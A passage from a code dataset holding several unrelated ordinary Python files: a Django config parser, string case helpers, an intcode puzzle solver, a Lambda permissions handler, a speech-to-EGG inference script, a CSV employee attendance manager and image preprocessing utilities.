= str(value).upper()\n        if value not in ['TRUE', 'FALSE', '', 'NONE', None]:\n            raise ImproperlyConfigured(\n                f'Параметр настроек [{section}] {option} '\n                f'Должен иметь значения True, False или \"\"'\n            )\n\n        result = (value == 'TRUE')\n\n        if allow_none and not result:\n            result = False if (value == 'FALSE') else None\n\n        return result\n\n    def get_int(self, section, option, default=None, quiet=True,\n                min_value=None, max_value=None):\n        \"\"\"Возвращает значение параметра в виде целого числа.\n\n        Если значение отсутствует в конфигурации системы и в словаре дефольных\n        значений, а также параметр quiet равен True, возвращает 0 (ноль).\n\n        :param str section: Название раздела.\n        :param str option: Название параметра.\n        :param bool quiet: Флаг, определяющий необходимость генерации\n            исключения django.core.exceptions.ImproperlyConfigured в случае,\n            если запрашиваемого параметра нет ни в файлах конфигурации, ни в\n            словаре дефолтных значений.\n        :param default: Значение по умолчанию для параметра. Проставляется,\n            если quiet=True и параметр не указан в конфигурации\n        :param default: Optional[int]\n        :param min_value: Минимально допустимое значение\n        :type min_value: Optional[Union[int, float]]\n        :param max_value: Максимально допустимое значение\n        :type max_value: Optional[Union[int, float]]\n\n        :rtype: int\n\n        :raises django.core.exceptions.ImproperlyConfigured: если аргумент\n            *quiet* равен *False* и указанного параметра нет ни в файлах\n            конфигурации, ни в словаре дефолтных значений, или если указаны\n            min_value и/или max_value и значение не удовлетворяет указанным\n            условиям.\n        \"\"\"\n        value = self.get(section, option, quiet)\n        # Если параметр не задан и параметр не обязателен (quiet=True),\n        # то проставляем default, если он задан\n        if not value and default is not None:\n            value = default\n\n        try:\n            result = int(value)\n        except:\n            result = 0\n\n        # Проверка принадлежности числа интервалу\n        if not self.is_number_in_interval(result, min_value, max_value):\n            raise ImproperlyConfigured(\n                f'Параметр [{section}] {option} не удовлетворяет условиям')\n\n        return result\n\n    def get_uint(self, section, option, quiet=True):\n        \"\"\"Возвращает значение параметра в виде беззнакового целого числа.\n\n        Если значение отсутствует в конфигурации системы и в словаре дефольных\n        значений, а также параметр quiet равен True, либо значение параметра\n        является отрицательным числом, возвращает 0 (ноль).\n\n        :param str section: Название раздела.\n        :param str option: Название параметра.\n        :param bool quiet: Флаг, определяющий необходимость генерац��и\n            исключения django.core.exceptions.ImproperlyConfigured в случае,\n            если запрашиваемого параметра нет ни в файлах конфигурации, ни в\n            словаре дефолтных значений.\n\n        :rtype: int\n\n        :raises django.core.exceptions.ImproperlyConfigured: если аргумент\n            *quiet* равен *False* и указанного параметра нет ни в файлах\n            конфигурации, ни в словаре дефолтных значений.\n        \"\"\"\n        result = self.get_int(section, option)\n        if result < 0:\n            result = 0\n\n        return result\n\n    def get_list(self, section, option, quiet=True):\n        \"\"\"Возвращает список значений параметра.\n\n        Принимает параметр в виде строки элементов разделенных запятой.\n        Если значение отсутствует в конфигурации системы и в словаре дефолтных\n        значений, а также параметр quiet равен True возвращает пустой список.\n\n        :param str section: Название раздела.\n        :param str option: Название параметра.\n        :param bool quiet: Флаг, определяющий необходимость генерации\n            исключения django.core.exceptions.ImproperlyConfigured в случае,\n            если запрашиваемого параметра нет ни в файлах конфигурации, ни в\n            словаре дефолтных значений.\n\n        :raises django.core.exceptions.ImproperlyConfigured: если аргумент\n            *quiet* равен *False* и указанного параметра нет ни в файлах\n            конфигурации, ни в словаре дефолтных значений.\n        \"\"\"\n        items = self.get(section, option)\n\n        if isinstance(items, str):\n            items = items.split(',')\n\n        result = [i.strip() for i in items]\n        if not quiet and not result:\n            raise ImproperlyConfigured(\n                'Configuration parameter {0}.{1} not found'.format(\n                            section, option)\n                )\n\n        return result\n\n    def get_tuple(self, section, option):\n        \"\"\"\n        Возвращает кортеж из опции @option конфига секции @section\n        Разделитель в конфиге - запятая\n        Допускается разделение по строкам\n        :param str section: секция настроек\n        :param str option: опция секции\n        :rtype: tuple\n        \"\"\"\n        sep = ','\n        return tuple([\n            i.strip() for i in self.get(section, option).split(sep) if i\n        ])\n\n    @staticmethod\n    def is_number_in_interval(value, min_value=None, max_value=None):\n        \"\"\"Проверка принадлежности числа определённому интервалу.\n\n        :param value: Проверяемое число\n        :type value: Union[int, float]\n        :param min_value: Минимально допустимое значение или None\n        :type min_value: Optional[Union[int, float]]\n        :param max_value: Максимально допустимое значение или None\n        :type max_value: Optional[Union[int, float]]\n\n        :return: Принадлежность числа интервалу\n        :rtype: bool\n        \"\"\"\n        return ((min_value is None or min_value <= value) and\n                (max_value is None or value <= max_value))\n","repo_name":"BorisKoval/StripeTestProject","sub_path":"stripe_test/settings/config_parser.py","file_name":"config_parser.py","file_ext":"py","file_size_in_byte":13146,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9870320467","text":"\nimport re\n\n\ndef snake_case(attr: str, sep_numbers=False) -> str:\n    '''Convert string to python snake_case.'''\n    name = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', attr)\n    snake_case = re.sub('([a-z0-9])([A-Z])', r'\\1_\\2', name).lower()\n    if sep_numbers:\n        snake_case = re.sub('([a-z])([0-9])', r'\\1_\\2', snake_case)\n    return snake_case\n\n\ndef camel_case(snake_str: str) -> str:\n    '''Convert string to json camel_case.'''\n    components = snake_str.split('_')\n    if len(components) == 1:\n        return components[0]\n    return components[0] + ''.join(x.title() for x in components[1:])\n","repo_name":"iann838/Pyot","sub_path":"pyot/utils/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"21"}
+{"seq_id":"74688586933","text":"import numpy\r\n# This is a Simple Lagged Fibonacci Generator using n=7 j=3, k=7 , m=10\r\nlist_key = []\r\nj = 3\r\nk = 7\r\ns = [6, 4, 2, 1, 8, 9, 3]\r\nfor n in range(10):\r\n    for i in range(len(s)):\r\n        if i == 0:\r\n            out = (s[j-1] + s[k-1]) % 100 # the pseudorandom output\r\n        elif 0 < i < 6:\r\n            s[i] = s[i+1] # shift the array\r\n            #print(\"s[\",i,\"]\", s[i])\r\n        else:\r\n            s[i] = out   # append the result to last position in the sequence\r\n            list_key.append(out)\r\n\r\n\r\nprint(list_key)\r\n","repo_name":"hakeem0001/AFG","sub_path":"LFG.py","file_name":"LFG.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24077722330","text":"inp = [1,1,1,4,99,5,6,0,99]\n\ndef check(l,pos):\n\n  if l[pos]==1:\n    x = l[l[pos+1]] + l[l[pos+2]]\n    l[l[pos+3]] = x\n  elif l[pos]==2:\n    x = l[l[pos+1]] * l[l[pos+2]]\n    l[l[pos+3]] = x\n  elif l[pos]==99:\n    return l\n  return l  \n\ntest = inp\n#test = [1,9,10,3,2,3,11,0,99,30,40,50]\ni=0\nwhile i <len(test):\n  if test[i] == 99:\n    break\n  else:\n    test = check(test, i)\n    i = i+4 #instruction pointer\nprint(test[0])","repo_name":"marcimarc1/Code-Of-Advent-2019","sub_path":"D2/int_code_comp.py","file_name":"int_code_comp.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11741527687","text":"import json\nfrom get_user_details_service import get_user_details_service_instance\nfrom verify_user_permissions import verify_user_access, get_user_id_from_event\nfrom base_exception import AppError\nfrom app_http_headers import AppHttpHeaders\n\nheaders = AppHttpHeaders(\"application/json\", \"OPTIONS,PUT\")\n\n\ndef handler(event, _):\n    try:\n        if not event.get(\"body\"):\n            raise AppError(\"No company data provided\")\n\n        user_service = get_user_details_service_instance()\n        data = json.loads(event.get(\"body\"))\n        username = event.get(\"pathParameters\").get(\"username\")\n        companies = data.get(\"companies\")\n        user_id = get_user_id_from_event(event)\n        access = verify_user_access(user_id)\n\n        if not access:\n            raise AppError(\"No permissions to assign company permissions\")\n\n        response = user_service.assign_company_permissions(username, companies)\n\n        return {\n            \"statusCode\": 200,\n            \"body\": json.dumps({\"modified\": response}, default=str),\n            \"headers\": headers.get_headers(),\n        }\n\n    except Exception as error:\n        return {\n            \"statusCode\": 400,\n            \"body\": json.dumps({\"error\": str(error)}),\n            \"headers\": headers.get_headers(),\n        }\n","repo_name":"kpinetwork/backend","sub_path":"src/handlers/user_details/assign_company_permissions_handler.py","file_name":"assign_company_permissions_handler.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36142272721","text":"def gcd(x, y): \n    while(y): \n        x, y = y, x % y \n    return x   \n\ndef lcm(a, b):\n    mul = a * b\n    Gcd = gcd(a,b)\n    return int(mul/Gcd)\n\nif __name__ == '__main__':\n    a = list(map(int, input().split()))\n    print(lcm(a[0], a[1]))\n\n","repo_name":"amansrivstv/algorithms","sub_path":"lcm.py","file_name":"lcm.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13583446005","text":"import os\nimport random\n\nimport numpy as np\nimport torch as th\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\n\nfrom model import Discriminator, SpeechEggEncoder\nfrom utils import Saver\nimport argparse\nfrom torch_utils import AudioFileDataset\nfrom utils import detrend\nfrom glob import glob\nimport warnings\nimport numpy_indexed as npi\n\nwarnings.filterwarnings(\"ignore\")\n\n# INFO: Set random seeds\nq_ = 4\nnp.random.seed(q_)\nth.manual_seed(q_)\nth.cuda.manual_seed_all(q_)\nrandom.seed(q_)\n\n\ndef parse():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"-f\",\n        \"--model-file\",\n        dest=\"modelfile\",\n        type=str,\n        default=\"epoch_100.pt\",\n        help=\"model file to use for inference\",\n    )\n    parser.add_argument(\n        \"-m\",\n        \"--model-folder\",\n        dest=\"modelfolder\",\n        type=str,\n        default=\"\",\n        help=\"model folder containing saved models\",\n    )\n    parser.add_argument(\n        \"-sf\",\n        \"--speech-folder\",\n        dest=\"speechfolder\",\n        type=str,\n        default=\"\",\n        help=\"folder containing speech files\",\n    )\n    parser.add_argument(\n        \"-ef\",\n        \"--egg-folder\",\n        dest=\"eggfolder\",\n        type=str,\n        default=\"\",\n        help=\"folder containing egg files\",\n    )\n    parser.add_argument(\n        \"-rf\",\n        \"--reconstructed-folder\",\n        dest=\"outputfolder\",\n        type=str,\n        default=\"\",\n        help=\"folder for output files\",\n    )\n    parser.add_argument(\n        \"-g\",\n        \"--use-gpu\",\n        dest=\"cuda\",\n        type=bool,\n        default=False,\n        help=\"use GPU for inference\",\n    )\n    parser.add_argument(\n        \"-w\", \"--window\", dest=\"window\", type=int, default=200, help=\"window size\"\n    )\n    parser.add_argument(\n        \"-s\", \"--stride\", dest=\"stride\", type=int, default=200, help=\"stride size\"\n    )\n    return parser.parse_args()\n\n\ndef test(\n    model_G: nn.Module,\n    model_D: nn.Module,\n    test_loader: DataLoader,\n    window,\n    stride,\n    use_cuda: bool = False,\n):\n    device = \"cuda\" if th.cuda.is_available() and use_cuda else \"cpu\"\n    if use_cuda:\n        model_G.to(device)\n        model_D.to(device)\n    model_G.eval()\n    model_D.eval()\n\n    # reconstruction_loss = 0\n    with th.no_grad():\n        for data, egg_data, spfile, ns in test_loader:\n            if use_cuda:\n                data, egg_data = data.to(device), egg_data.to(device)\n            data = th.squeeze(data)\n\n            egg_data = th.squeeze(data)\n\n            # Test model_G\n            reconstructions, _ = model_G(data)\n            # loss_reconstruction = (egg_data * reconstructions).sum(dim=1) / (\n            #     egg_data.norm(dim=1) * reconstructions.norm(dim=1)\n            # )\n            # loss_reconstruction = th.acos(loss_reconstruction) * 180 / np.pi\n            # loss_reconstruction = loss_reconstruction.mean()\n            # reconstruction_loss += loss_reconstruction.item()\n\n            ind = th.arange(ns.item())\n            ind = ind.unfold(0, window, stride)\n            ind = ind.numpy().ravel()\n\n            preds = reconstructions.cpu().detach().numpy().ravel()\n\n            arr = np.vstack((ind, preds))\n            output = npi.group_by(arr[0, :]).median(arr[1, :])\n            yield output[1], spfile\n\n\ndef main():\n    args = parse()\n    save_model = Saver(args.modelfolder)\n    use_cuda = args.cuda\n\n    model_G = SpeechEggEncoder()\n    model_D = Discriminator()\n    model_G, model_D, _, _, _, _ = save_model.load_checkpoint(\n        model_G, model_D, file_name=args.modelfile\n    )\n\n    speechfiles = glob(os.path.join(args.speechfolder, \"*.npy\"))\n    eggfiles = glob(os.path.join(args.eggfolder, \"*.npy\"))\n    reconstruction_save_path = args.outputfolder\n\n    test_data = AudioFileDataset(\n        speechfiles, eggfiles, args.window, args.stride, transform=detrend\n    )\n    test_dataloader = DataLoader(test_data, 1, num_workers=4, shuffle=False)\n\n    os.makedirs(reconstruction_save_path, exist_ok=True)\n\n    for egg_reconstructed, f in test(\n        model_G, model_D, test_dataloader, args.window, args.stride, use_cuda=use_cuda\n    ):\n        outputfile = os.path.join(reconstruction_save_path, f[0])\n\n        np.save(outputfile, egg_reconstructed)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"VarunSrivastavaIITD/AAI","sub_path":"src/regressed_inference.py","file_name":"regressed_inference.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"18932411476","text":"# Check Id validation #\ndef check_id(emp_id):\n    id_check1 = []\n    i = 0\n    for x in str(emp_id):\n        if i % 2 == 0:\n            id_check1.append(int(x))\n        else:\n            id_check1.append(int(x) * 2)\n        i += 1\n    id_check2 = []\n    i = 0\n    for x in id_check1:\n        if x > 9:\n            id_check2.append(1 + x % 10)\n        else:\n            id_check2.append(int(x))\n        i += 1\n    final_check_id = 0\n    for x in id_check2:\n        final_check_id += x\n    return final_check_id\n\n\n# Check if Employee exist in DB #\ndef check_if_employee_exist(emp_id):\n    import csv\n    with open('employees_DB.csv', 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row[0] == emp_id:\n                return True\n        else:\n            return False\n\n\n# Employee ID Checks\ndef employee_id_checks(emp_id):\n    id_flag = True\n    while id_flag:\n        # check if ID contains digits only #\n        if not all(char.isdigit() for char in emp_id):\n            print(\"Oops! Employee ID should contains Digits only\")\n            return False\n        # check ID len = 9\n        if len(emp_id) != 9:\n            print(\"Oops! Please enter 9 digits Employee ID\")\n            return False\n        # check ID validation algorithm #\n        final_check_id = check_id(emp_id)\n        if final_check_id % 10 != 0:\n            print(\"Invalid ID number, please check ID\")\n            return False\n        id_flag = False\n    return True\n\n\ndef employee_last_name_check(emp_last_name):\n    last_name_flag = True\n    while last_name_flag:\n        if not all(char.isalpha() for char in emp_last_name):\n            print(\"Oops! Employee Last Name should contains letters only\")\n            return False\n        else:\n            last_name_flag = False\n    return True\n\n\ndef employee_first_name_check(emp_first_name):\n    first_name_flag = True\n    while first_name_flag:\n        if not all(char.isalpha() for char in emp_first_name):\n            print(\"Oops! Employee Last Name should contains letters only\")\n            return False\n        else:\n            first_name_flag = False\n    return True\n\n\ndef employee_phone_number_check(phone_num):\n    phone_flag = True\n    while phone_flag:\n        if len(phone_num) != 10:\n            print(\"Oops! Employee Phone Number should contains 10 Digits Number\")\n            return False\n        if not all(char.isdigit() for char in phone_num):\n            print(\"Oops! Employee Phone Number should contains Digits only\")\n            return False\n        else:\n            phone_flag = False\n    return True\n\n\ndef employee_age_check(age):\n    age_flag = True\n    while age_flag:\n        if not all(char.isdigit() for char in age):\n            print(\"Oops! Employee age should be number\")\n            return False\n        if int(age) < 16 or int(age) > 70:\n            print(\"Oops! Employee age should be number between 16-70\")\n            return False\n        else:\n            age_flag = False\n    return True\n\n\ndef add_new_employee_manually():\n    row = []\n    # Check ID and if Employee already exist #\n    emp_id = input(\"Please Enter Employee ID:\")\n    while not employee_id_checks(emp_id):\n        emp_id = input(\"Please Enter Employee ID:\")\n    if check_if_employee_exist(emp_id):\n        print(\"Employee Already Exist in DB\")\n    else:\n        row.append(emp_id)\n    # Check Last Name #\n    emp_last_name = input(\"Please Enter Employee Last Name:\")\n    while not employee_last_name_check(emp_last_name):\n        emp_last_name = input(\"Please Enter Employee Last Name:\")\n    row.append(emp_last_name)\n    # Check First Name #\n    emp_first_name = input(\"Please Enter Employee First Name:\")\n    while not employee_first_name_check(emp_first_name):\n        emp_first_name = input(\"Please Enter Employee First Name:\")\n    row.append(emp_first_name)\n    # Check Phone Number #\n    phone_num = input(\"Please Enter Employee Phone Number (digits only, without space):\")\n    while not employee_phone_number_check(phone_num):\n        phone_num = input(\"Please Enter Employee Phone Number (digits only, without space):\")\n    row.append(phone_num)\n    # Check Employee Age\n    age = input(\"Please Enter Employee Age:\")\n    while not employee_age_check(age):\n        age = input(\"Please Enter Employee Age:\")\n    row.append(age)\n    return row\n\n\ndef add_employees_from_file(file_path):\n    import csv\n    import os\n    header = ['Employee ID', 'Last Name', 'First Name', 'Phone', 'Age']\n    with open(os.path.abspath(file_path), 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row == header:\n                continue\n            else:\n                if not employee_id_checks(row[0]):\n                    print(\"Invalid ID Number for Employee \" + row[0] + \" was not added\")\n                    continue\n                if check_if_employee_exist(row[0]):\n                    print(\"Employee \" + row[0] + \" Already Exist in DB, Employee was not added\")\n                    continue\n                if not employee_last_name_check(row[1]):\n                    print(\"Invalid Last Name for Employee-\" + row[0] + \", Employees was not added\")\n                    continue\n                if not employee_first_name_check(row[2]):\n                    print(\"Invalid First Name for Employee-\" + row[0] + \", Employees was not added\")\n                    continue\n                if not employee_phone_number_check(row[3]):\n                    print(\"Invalid Phone Number for Employee-\" + row[0] + \", Employees was not added\")\n                    continue\n                if not employee_age_check(row[4]):\n                    print(\"Invalid Age for Employee-\" + row[0] + \", Employees was not added\")\n                    continue\n            with open('employees_DB.csv', 'a', newline='') as f2:\n                writer = csv.writer(f2)\n                writer.writerow(row)\n            print(\"Employee \" + row[0] + \" was successfully added\")\n\n\ndef delete_employee_manually():\n    import csv\n    row = []\n    id_flag = True\n    while id_flag:\n        emp_id = input(\"Please Enter Employee ID you would like to Delete:\")\n        # check if ID contains digits only #\n        if not all(char.isdigit() for char in emp_id):\n            print(\"Oops! Employee ID should contains Digits only\")\n            continue\n        # check ID len = 9\n        if len(emp_id) != 9:\n            print(\"Oops! Please enter 9 digits Employee ID\")\n            continue\n        if check_if_employee_exist(emp_id):\n            lines = list()\n            with open('employees_DB.csv', 'r') as f1:\n                reader = csv.reader(f1)\n                for row in reader:\n                    lines.append(row)\n                    for field in row:\n                        if field == emp_id:\n                            lines.remove(row)\n            with open('employees_DB.csv', 'w', newline='') as f1:\n                writer = csv.writer(f1)\n                writer.writerows(lines)\n            print(\"Employee was successfully deleted\")\n            id_flag = False\n        else:\n            print(\"Employee Don't exist in DB\")\n            continue\n\n\ndef delete_employees_from_file(file_path):\n    import csv\n    import os\n    header = ['Employee ID','Last Name','First Name','Phone','Age']\n    with open(os.path.abspath(file_path), 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row == header:\n                continue\n            else:\n                if not all(char.isdigit() for char in row[0]):\n                    print(\"Oops! Employee ID should contains Digits only, Employee\" + row[0] + \"was not deleted\")\n                    continue\n                # check ID len = 9\n                if len(row[0]) != 9:\n                    print(\"Oops! Please enter 9 digits Employee ID, Employee\" + row[0] + \"was not deleted\")\n                    continue\n                if check_if_employee_exist(row[0]):\n                    lines = list()\n                    with open('employees_DB.csv', 'r') as f2:\n                        reader = csv.reader(f2)\n                        for rows_to_keep in reader:\n                            lines.append(rows_to_keep)\n                            for field in rows_to_keep:\n                                if field == row[0]:\n                                    lines.remove(rows_to_keep)\n                    with open('employees_DB.csv', 'w', newline='') as f2:\n                        writer = csv.writer(f2)\n                        writer.writerows(lines)\n                    print(\"Employee \" + row[0] + \" was successfully deleted\")\n\n\ndef find_employee_last_name(emp_id):\n    import csv\n    with open('employees_DB.csv', 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row[0] == emp_id:\n                return row[1]\n\n\ndef find_employee_first_name(emp_id):\n    import csv\n    with open('employees_DB.csv', 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row[0] == emp_id:\n                return row[2]\n\n\ndef create_employee_attendance_report(emp_id):\n    import csv\n    header = ['Employee ID', 'Last Name', 'First Name', 'Date', 'Attendance']\n    lines = list()\n    lines.append(header)\n    with open('employees_Attendance.csv', 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row == header:\n                continue\n            else:\n                if row[0] == emp_id:\n                    lines.append(row)\n    with open('employee_' + emp_id + '_attendance_report.csv', 'w', newline='') as f2:\n        writer = csv.writer(f2)\n        writer.writerows(lines)\n    print(\"Attendance Report for employee \" + emp_id + \" was successfully created\")\n\n\ndef create_month_attendance_report():\n    import csv\n    import datetime\n    header = ['Employee ID', 'Last Name', 'First Name', 'Date', 'Attendance']\n    lines = list()\n    lines.append(header)\n    with open('employees_Attendance.csv', 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row == header:\n                continue\n            else:\n                attendance_date = datetime.datetime.strptime(row[3], '%Y-%m-%d %H:%M:%S')\n                if attendance_date.month == datetime.date.today().month:\n                    lines.append(row)\n    with open('employee_' + str(datetime.date.today().strftime('%Y-%m')) + '_attendance_report.csv', 'w', newline='') \\\n            as f2:\n        writer = csv.writer(f2)\n        writer.writerows(lines)\n    print(\"Attendance Monthly Report was successfully created\")\n\n\ndef create_attendance_late_report():\n    import csv\n    import datetime\n    header = ['Employee ID', 'Last Name', 'First Name', 'Date', 'Attendance']\n    lines = list()\n    lines.append(header)\n    late_time = datetime.datetime.strptime('2022-12-19 09:30:00', '%Y-%m-%d %H:%M:%S')\n    with open('employees_Attendance.csv', 'r') as f1:\n        reader = csv.reader(f1)\n        for row in reader:\n            if row == header:\n                continue\n            else:\n                attendance_date = datetime.datetime.strptime(row[3], '%Y-%m-%d %H:%M:%S')\n                print(attendance_date.time())\n                print(late_time.time())\n                if attendance_date.time() >= late_time.time():\n                    lines.append(row)\n    with open('attendance_late_report.csv', 'w', newline='') \\\n            as f2:\n        writer = csv.writer(f2)\n        writer.writerows(lines)\n    print(\"Attendance Late Report was successfully created\")\n\n\n#main#\ndef main():\n    import csv\n    import os\n    import datetime\n    header1 = ['Employee ID', 'Last Name', 'First Name', 'Phone', 'Age']\n    with open('employees_DB.csv', 'w', newline='') as f1:\n        writer = csv.writer(f1)\n        writer.writerow(header1)\n    header2 = ['Employee ID', 'Last Name', 'First Name', 'Date', 'Attendance']\n    with open('employees_Attendance.csv', 'w', newline='') as f2:\n        writer = csv.writer(f2)\n        writer.writerow(header2)\n    flag = True\n    while flag:\n        try:\n            num = int(input(\"\"\"Please choose what you would like to do:\n        1)  Add New Employee manually\n        2)\tAdd New Employees from a file\n        3)\tDelete Employee manually\n        4)\tDelete Employees from a file\n        5)\tMark Attendance\n        6)\tGenerate Attendance report of an Employee\n        7)\tGenerate Attendance Current Month report\n        8)\tGenerate Attendance late report\n        9)\tExit \n        \"\"\"))\n        except ValueError:\n            print(\"Oops! Please choose number between 1-9\")\n            continue\n        if num < 1 or num > 9:\n            print(\"Invalid option, please try again\")\n        elif num == 1:\n            row = add_new_employee_manually()\n            with open('employees_DB.csv', 'a', newline='') as f1:\n                writer = csv.writer(f1)\n                writer.writerow(row)\n            print(\"Employees was successfully added\")\n        elif num == 2:\n            file_path = input(\"please enter file path:\")\n            while not os.path.exists(file_path):\n                print(\"Oops! invalid file path\")\n                file_path = input(\"please enter file path:\")\n            add_employees_from_file(file_path)\n        elif num == 3:\n            delete_employee_manually()\n        elif num == 4:\n            file_path = input(\"please enter file path:\")\n            while not os.path.exists(file_path):\n                print(\"Oops! invalid file path\")\n                file_path = input(\"please enter file path:\")\n            delete_employees_from_file(file_path)\n        elif num == 5:\n            emp_id = input(\"Please Enter Employee ID:\")\n            while not check_if_employee_exist(emp_id):\n                print(\"Employee Does not exist in DB\")\n                emp_id = input(\"Please Enter Employee ID:\")\n            else:\n                row = [emp_id, find_employee_last_name(emp_id), find_employee_first_name(emp_id),\n                       datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S'), \"V\"]\n                with open('employees_Attendance.csv', 'a', newline='') as f2:\n                    writer = csv.writer(f2)\n                    writer.writerow(row)\n                print(\"Employee Attendance was marked\")\n        elif num == 6:\n            emp_id = input(\"Please Enter Employee ID:\")\n            while not check_if_employee_exist(emp_id):\n                print(\"Employee Does not exist in DB\")\n                emp_id = input(\"Please Enter Employee ID:\")\n            else:\n                create_employee_attendance_report(emp_id)\n        elif num == 7:\n            create_month_attendance_report()\n        elif num == 8:\n            create_attendance_late_report()\n        elif num == 9:\n            flag = False\n            print(\"Goodbye\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Maayan1308/Final_Project","sub_path":"final_project.py","file_name":"final_project.py","file_ext":"py","file_size_in_byte":14812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29662950423","text":"import random\nimport numpy as np\nfrom PIL import Image\nimport cv2\n\n\ndef get_square(img, pos):\n    \"\"\"Extract a left or a right square from ndarray shape : (H, W, C))\"\"\"\n    h = img.shape[0]\n    if pos == 0:\n        return img[:, :h]\n    else:\n        return img[:, -h:]\n\ndef split_img_into_squares(img):\n    return get_square(img, 0), get_square(img, 1)\n\ndef hwc_to_chw(img):\n    return np.transpose(img, axes=[2, 0, 1])\n\ndef resize_and_crop(pilimg, scale=0.5, final_height=None):\n    w = pilimg.size[0]\n    h = pilimg.size[1]\n    newW = int(w * scale)\n    newH = int(h * scale)\n\n    if not final_height:\n        diff = 0\n    else:\n        diff = newH - final_height\n\n    #img = pilimg.resize((newW, newH))\n    img = pilimg.resize((512, 512))\n    #img = img.crop((0, diff // 2, newW, newH - diff // 2))\n    #return np.array(img, dtype=np.float32)\n    return np.array(img)\n\ndef batch(iterable, batch_size):\n    \"\"\"Yields lists by batch\"\"\"\n    b = []\n    for i, t in enumerate(iterable):\n        b.append(t)\n        if (i + 1) % batch_size == 0:\n            yield b\n            b = []\n\n    if len(b) > 0:\n        yield b\n\ndef split_train_val(dataset, val_percent=0.05):\n    dataset = list(dataset)\n    length = len(dataset) \n    n = int(length * val_percent)\n    random.shuffle(dataset)\n    return {'train': dataset[:-n], 'val': dataset[-n:]}\n\n\ndef normalize(x): \n    return x / 255\n\ndef merge_masks(img1, img2, full_w):\n    h = img1.shape[0]\n\n    new = np.zeros((h, full_w), np.float32)\n    new[:, :full_w // 2 + 1] = img1[:, :full_w // 2 + 1]\n    new[:, full_w // 2 + 1:] = img2[:, -(full_w // 2 - 1):]\n\n    return new\n\n\n# credits to https://stackoverflow.com/users/6076729/manuel-lagunas\ndef rle_encode(mask_image):\n    pixels = mask_image.flatten()\n    # We avoid issues with '1' at the start or end (at the corners of\n    # the original image) by setting those pixels to '0' explicitly.\n    # We do not expect these to be non-zero for an accurate mask,\n    # so this should not harm the score.\n    pixels[0] = 0\n    pixels[-1] = 0\n    runs = np.where(pixels[1:] != pixels[:-1])[0] + 2\n    runs[1::2] = runs[1::2] - runs[:-1:2]\n    return runs\n\n#============================================================\n#========= PRE PROCESSING FUNCTIONS ========================#\n#============================================================\n\n\n#My pre processing (use for both training and testing!)\n#<batchsize, channel, w, h>\ndef my_PreProc(data):\n    assert(len(data.shape)==4)\n    assert (data.shape[1]==3)  #Use the original images\n    #black-white conversion\n    train_imgs = rgb2gray(data)\n    #my preprocessing:\n    train_imgs = dataset_normalized(train_imgs)\n    train_imgs = clahe_equalized(train_imgs)\n    train_imgs = adjust_gamma(train_imgs, 1.2)\n    #train_imgs = train_imgs/255.  #reduce to 0-1 range\n    return train_imgs\n\n#==== histogram equalization\ndef histo_equalized(imgs):\n    assert (len(imgs.shape)==4)  #4D arrays\n    assert (imgs.shape[1]==1)  #check the channel is 1\n    imgs_equalized = np.empty(imgs.shape)\n    for i in range(imgs.shape[0]):\n        imgs_equalized[i,0] = cv2.equalizeHist(np.array(imgs[i,0], dtype = np.uint8))\n    return imgs_equalized\n\n\n# CLAHE (Contrast Limited Adaptive Histogram Equalization)\n#adaptive histogram equalization is used. In this, image is divided into small blocks called \"tiles\" (tileSize is 8x8 by default in OpenCV). Then each of these blocks are histogram equalized as usual. So in a small area, histogram would confine to a small region (unless there is noise). If noise is there, it will be amplified. To avoid this, contrast limiting is applied. If any histogram bin is above the specified contrast limit (by default 40 in OpenCV), those pixels are clipped and distributed uniformly to other bins before applying histogram equalization. After equalization, to remove artifacts in tile borders, bilinear interpolation is applied\ndef clahe_equalized(imgs):\n    assert (len(imgs.shape)==4)  #4D arrays\n    assert (imgs.shape[1]==1)  #check the channel is 1\n    #create a CLAHE object (Arguments are optional).\n    clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\n    imgs_equalized = np.empty(imgs.shape)\n    for i in range(imgs.shape[0]):\n        imgs_equalized[i, 0] = clahe.apply(np.array(imgs[i,0], dtype = np.uint8))\n    return imgs_equalized\n\n\n# ===== normalize over the dataset\ndef dataset_normalized(imgs):\n    assert (len(imgs.shape)==4)  #4D arrays\n    assert (imgs.shape[1]==1)  #check the channel is 1\n    imgs_normalized = np.empty(imgs.shape)\n    imgs_std = np.std(imgs)\n    imgs_mean = np.mean(imgs)\n    imgs_normalized = (imgs - imgs_mean) / imgs_std\n    for i in range(imgs.shape[0]):\n        imgs_normalized[i] = ((imgs_normalized[i] - np.min(imgs_normalized[i])) / (np.max(imgs_normalized[i]) - np.min(imgs_normalized[i]))) * 255\n    return imgs_normalized\n\n\ndef adjust_gamma(imgs, gamma=1.0):\n    assert (len(imgs.shape)==4)  #4D arrays\n    assert 